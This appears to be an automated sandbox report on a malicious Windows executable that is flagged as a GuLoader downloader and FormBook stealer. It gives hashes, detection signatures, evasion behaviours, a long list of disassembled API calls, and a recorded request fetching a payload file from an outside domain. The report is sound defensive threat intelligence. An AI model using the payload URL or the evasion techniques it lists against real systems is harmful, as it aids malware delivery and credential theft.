Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Anfrage244384.exe

Overview

General Information

Sample name:Anfrage244384.exe
Analysis ID:1550563
MD5:7a9799db14a1d4af0b38f4b69879a78f
SHA1:89c2af745f36e1853ef82b4b21c6d461c8414ca5
SHA256:45ca0116808ce0b13a4e212c742ab2cd2b169a5cbfa841c8826636a6f5a76009
Tags:exeGuLoaderuser-threatcat_ch
Infos:

Detection

FormBook, GuLoader
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
AI detected suspicious sample
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Anfrage244384.exe (PID: 7520 cmdline: "C:\Users\user\Desktop\Anfrage244384.exe" MD5: 7A9799DB14A1D4AF0B38F4B69879A78F)
    • Anfrage244384.exe (PID: 7904 cmdline: "C:\Users\user\Desktop\Anfrage244384.exe" MD5: 7A9799DB14A1D4AF0B38F4B69879A78F)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2357676631.0000000000060000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000000.00000002.1923188964.0000000003E32000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security

      Sigma Signatures

      ⊘No Sigma rule has matched

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-06T20:41:14.728802+010020229301A Network Trojan was detected52.149.20.212443192.168.2.449730TCP
      2024-11-06T20:41:53.068116+010020229301A Network Trojan was detected52.149.20.212443192.168.2.449737TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-06T20:41:29.710340+010028032702Potentially Bad Traffic192.168.2.449736188.40.95.144443TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: Anfrage244384.exeAvira: detected
      Multi AV Scanner detection for submitted file
      Source: Anfrage244384.exeReversingLabs: Detection: 31%
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.2357676631.0000000000060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
      Source: Anfrage244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.4:49736 version: TLS 1.2
      Source: Anfrage244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage244384.exe, 00000004.00000003.2319937495.0000000034CAC000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000003.2317765702.0000000034AF7000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage244384.exe, Anfrage244384.exe, 00000004.00000003.2319937495.0000000034CAC000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000003.2317765702.0000000034AF7000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmp
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Joe Sandbox ViewIP Address: 188.40.95.144 188.40.95.144
      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
      Source: Network trafficSuricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 188.40.95.144:443
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49730
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49737
      Source: global trafficHTTP traffic detected: GET /rmANWge110.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficHTTP traffic detected: GET /rmANWge110.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: global trafficDNS traffic detected: DNS query: familytherapycenter.rs
      Source: Anfrage244384.exeString found in binary or memory: http://crl.apple.com/root.crl0
      Source: Anfrage244384.exeString found in binary or memory: http://crl.apple.com/timestamp.crl0
      Source: Anfrage244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
      Source: Anfrage244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
      Source: Anfrage244384.exeString found in binary or memory: http://www.apple.com/appleca0
      Source: Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.ftp.ftp://ftp.gopher.
      Source: Anfrage244384.exe, 00000004.00000001.1922306058.00000000005F2000.00000008.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
      Source: Anfrage244384.exe, 00000004.00000001.1922306058.00000000005F2000.00000008.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
      Source: Anfrage244384.exe, 00000004.00000002.2361009105.0000000004C13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/
      Source: Anfrage244384.exe, 00000004.00000002.2361009105.0000000004C13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/L
      Source: Anfrage244384.exe, 00000004.00000002.2361009105.0000000004C13000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2361009105.0000000004BD8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/rmANWge110.bin
      Source: Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
      Source: Anfrage244384.exeString found in binary or memory: https://www.apple.com/appleca/0
      Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.4:49736 version: TLS 1.2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040511A GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040511A

      E-Banking Fraud

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.2357676631.0000000000060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess Stats: CPU usage > 49%
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED35C0 NtCreateMutant,LdrInitializeThunk,4_2_34ED35C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_34ED2C70
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED3090 NtSetValueKey,4_2_34ED3090
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED3010 NtOpenDirectoryObject,4_2_34ED3010
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED3D70 NtOpenThread,4_2_34ED3D70
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED3D10 NtOpenProcessToken,4_2_34ED3D10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED39B0 NtGetContextThread,4_2_34ED39B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED4650 NtSuspendThread,4_2_34ED4650
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED4340 NtSetContextThread,4_2_34ED4340
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2CF0 NtOpenProcess,4_2_34ED2CF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2CC0 NtQueryVirtualMemory,4_2_34ED2CC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2CA0 NtQueryInformationToken,4_2_34ED2CA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2C60 NtCreateKey,4_2_34ED2C60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2C00 NtQueryInformationProcess,4_2_34ED2C00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2DF0 NtQuerySystemInformation,4_2_34ED2DF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2DD0 NtDelayExecution,4_2_34ED2DD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2DB0 NtEnumerateKey,4_2_34ED2DB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2D30 NtUnmapViewOfSection,4_2_34ED2D30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2D00 NtSetInformationFile,4_2_34ED2D00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2D10 NtMapViewOfSection,4_2_34ED2D10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2EE0 NtQueueApcThread,4_2_34ED2EE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2EA0 NtAdjustPrivilegesToken,4_2_34ED2EA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2E80 NtReadVirtualMemory,4_2_34ED2E80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2E30 NtWriteVirtualMemory,4_2_34ED2E30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2FE0 NtCreateFile,4_2_34ED2FE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2FA0 NtQuerySection,4_2_34ED2FA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2FB0 NtResumeThread,4_2_34ED2FB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2F90 NtProtectVirtualMemory,4_2_34ED2F90
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2F60 NtCreateProcessEx,4_2_34ED2F60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2F30 NtCreateSection,4_2_34ED2F30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2AF0 NtWriteFile,4_2_34ED2AF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2AD0 NtReadFile,4_2_34ED2AD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2AB0 NtWaitForSingleObject,4_2_34ED2AB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2BE0 NtQueryValueKey,4_2_34ED2BE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2BF0 NtAllocateVirtualMemory,4_2_34ED2BF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2BA0 NtEnumerateValueKey,4_2_34ED2BA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2B80 NtQueryInformationFile,4_2_34ED2B80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED2B60 NtClose,4_2_34ED2B60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Windows\resources\soenderbro.iniJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004049590_2_00404959
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040655F0_2_0040655F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00406D360_2_00406D36
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E914604_2_34E91460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5F43F4_2_34F5F43F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3D5B04_2_34F3D5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F575714_2_34F57571
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F516CC4_2_34F516CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5F7B04_2_34F5F7B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5F0E04_2_34F5F0E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F570E94_2_34F570E9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C04_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F0CC4_2_34F4F0CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAB1B04_2_34EAB1B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED516C4_2_34ED516C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F1724_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6B16B4_2_34F6B16B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBD2F04_2_34EBD2F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C04_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA52A04_2_34EA52A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EE739A4_2_34EE739A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8D34C4_2_34E8D34C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5132D4_2_34F5132D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5FCF24_2_34F5FCF2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F19C324_2_34F19C32
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBFDC04_2_34EBFDC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F57D734_2_34F57D73
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA3D404_2_34EA3D40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F51D5A4_2_34F51D5A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA9EB04_2_34EA9EB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5FFB14_2_34F5FFB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1F924_2_34EA1F92
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5FF094_2_34F5FF09
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA38E04_2_34EA38E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D8004_2_34F0D800
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA99504_2_34EA9950
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB9504_2_34EBB950
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F359104_2_34F35910
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4DAC64_2_34F4DAC6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EE5AA04_2_34EE5AA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F41AA34_2_34F41AA3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3DAAC4_2_34F3DAAC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F13A6C4_2_34F13A6C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F57A464_2_34F57A46
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5FA494_2_34F5FA49
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F15BF04_2_34F15BF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EDDBF94_2_34EDDBF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBFB804_2_34EBFB80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5FB764_2_34F5FB76
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4E4F64_2_34F4E4F6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F524464_2_34F52446
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F444204_2_34F44420
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F605914_2_34F60591
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA05354_2_34EA0535
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBC6E04_2_34EBC6E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9C7C04_2_34E9C7C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA07704_2_34EA0770
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC47504_2_34EC4750
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F320004_2_34F32000
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F581CC4_2_34F581CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F541A24_2_34F541A2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F601AA4_2_34F601AA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F281584_2_34F28158
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E901004_2_34E90100
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3A1184_2_34F3A118
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F202C04_2_34F202C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F402744_2_34F40274
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F603E64_2_34F603E6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAE3F04_2_34EAE3F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5A3524_2_34F5A352
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E90CF24_2_34E90CF2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F40CB54_2_34F40CB5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA0C004_2_34EA0C00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9ADE04_2_34E9ADE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB8DBF4_2_34EB8DBF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAAD004_2_34EAAD00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3CD1F4_2_34F3CD1F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5EEDB4_2_34F5EEDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5CE934_2_34F5CE93
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB2E904_2_34EB2E90
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA0E594_2_34EA0E59
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5EE264_2_34F5EE26
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EACFE04_2_34EACFE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E92FC84_2_34E92FC8
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1EFA04_2_34F1EFA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F14F404_2_34F14F40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F42F304_2_34F42F30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EE2F284_2_34EE2F28
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC0F304_2_34EC0F30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECE8F04_2_34ECE8F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E868B84_2_34E868B8
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA28404_2_34EA2840
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAA8404_2_34EAA840
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA29A04_2_34EA29A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6A9A64_2_34F6A9A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB69624_2_34EB6962
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9EA804_2_34E9EA80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F56BD74_2_34F56BD7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5AB404_2_34F5AB40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34EE7E54 appears 101 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34F1F290 appears 105 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34ED5130 appears 58 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34E8B970 appears 280 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34F0EA12 appears 84 times
      Source: Anfrage244384.exeStatic PE information: invalid certificate
      Source: Anfrage244384.exe, 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage244384.exe
      Source: Anfrage244384.exe, 00000004.00000003.2319937495.0000000034DD9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage244384.exe
      Source: Anfrage244384.exe, 00000004.00000003.2317765702.0000000034C1A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage244384.exe
      Source: Anfrage244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: classification engineClassification label: mal84.troj.evad.winEXE@3/10@1/1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004043E6 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,0_2_004043E6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,0_2_004020CD
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Users\user\AppData\Roaming\secretaryshipsJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsg67A.tmpJump to behavior
      Source: Anfrage244384.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile read: C:\Users\desktop.iniJump to behavior
